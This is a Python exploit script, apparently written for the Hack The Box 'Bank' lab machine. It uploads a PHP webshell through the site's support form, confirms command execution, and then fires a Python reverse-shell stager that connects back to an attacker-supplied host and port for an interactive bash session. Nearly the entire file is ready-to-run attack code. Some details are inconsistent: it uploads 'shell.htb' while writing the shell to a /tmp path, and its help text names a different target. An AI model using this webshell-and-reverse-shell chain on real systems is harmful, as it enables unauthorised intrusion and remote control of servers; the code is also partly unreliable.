# -*- encoding:utf-8 -*-
# HTB Bank - Shell Upload + RCE
# CVE: -
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import requests
import sys
from pwn import *


def main():

    # args
    argparser = argparse.ArgumentParser(description='Torrent Hoster File Upload + RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
   
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "127.0.0.1:8080" }

    
    def string_generator(range_):
        letters = string.ascii_letters
        return ''.join(random.choice(letters) for i in range(range_))
        
    
    def reverse_shell(l):
 
        l.sendline("uname -r && id")
        l.interactive()
           
            
    def generate_webshell():

        l1=log.progress("PHP webshell generate")

        try:
            with open("/tmp/{}.htb".format(randname), "w") as f:
                f.write("<?php system($_GET[0]);?>")
                f.close()

        except Exception as e:
            print(e)
            l1.failure("Failed due an error!")
            sys.exit(1)
        
        else:
            l1.success("Generated with success!")
            return True
            
    
    def exploit():
    
        files = {
            'fileToUpload': ('{}.htb'.format(randname), open('shell.htb', 'rb'), 'application/octet-stream'),
            'title': (None, randname),
            'message': (None, randname),
            'submitadd': (None, '')
        }
        
        l1 = log.progress("HTB Bank exploit")
        
        try:
            if burpsuite:
                r = requests.post("http://bank.htb/support.php", files=files,
                                                                 proxies=proxies)
            
            else:
               r = requests.post("http://bank.htb/support.php", files=files)
        
        except Exception as e:
            print(e)
            l1.failure("Failed due an error!")
            sys.exit(1)
        
        else:
            try:
                if burpsuite:
                    r = requests.get("http://bank.htb/uploads/{}.htb?0=id".format(randname), 
                                                                            proxies=proxies)
                
                else:
                    r = requests.get("http://bank.htb/uploads/{}.htb?0=id".format(randname))
            
            except Exception as e:
                print(e)
                l1.failure("Failed due an error!")
                sys.exit(1)
            
            else:
                if r.status_code == 200:
                    l1.success("Uploaded with success, http://bank.htb/uploads/{}.htb?0=id".format(randname))
                    
                    return True
                
                else:
                    l1.failure("Failed to upload.")
                    sys.exit(1)
                    
    
    def trigger_webshell():
        
        py_stager = "python -c 'import socket,subprocess,os;"
        py_stager += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        py_stager += "s.connect((\"{}\",{}));".format(lhost, lport)
        py_stager += "os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
        py_stager += "p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
        
        l1 = log.progress("PHP webshell trigger")
        l = listen(lport)
        
        try:
            if burpsuite:
                requests.get("http://bank.htb/uploads/{}.htb?0={}".format(randname, py_stager),
                                                                    proxies=proxies,
                                                                    timeout=5)
            
            else:
                l1.success("Success!")
                requests.get("http://bank.htb/uploads/{}.htb?0={}".format(randname, py_stager),
                                                                    timeout=5)
        
        except:
            reverse_shell(l)

   
    # main
    log.info("HTB Bank - Shell Upload + RCE")
    log.info("Python script exploit author: nullarmor")
    
    
    randname = string_generator(8)
    if generate_webshell():
        if exploit():
            trigger_webshell()


if __name__ == '__main__':
    main()
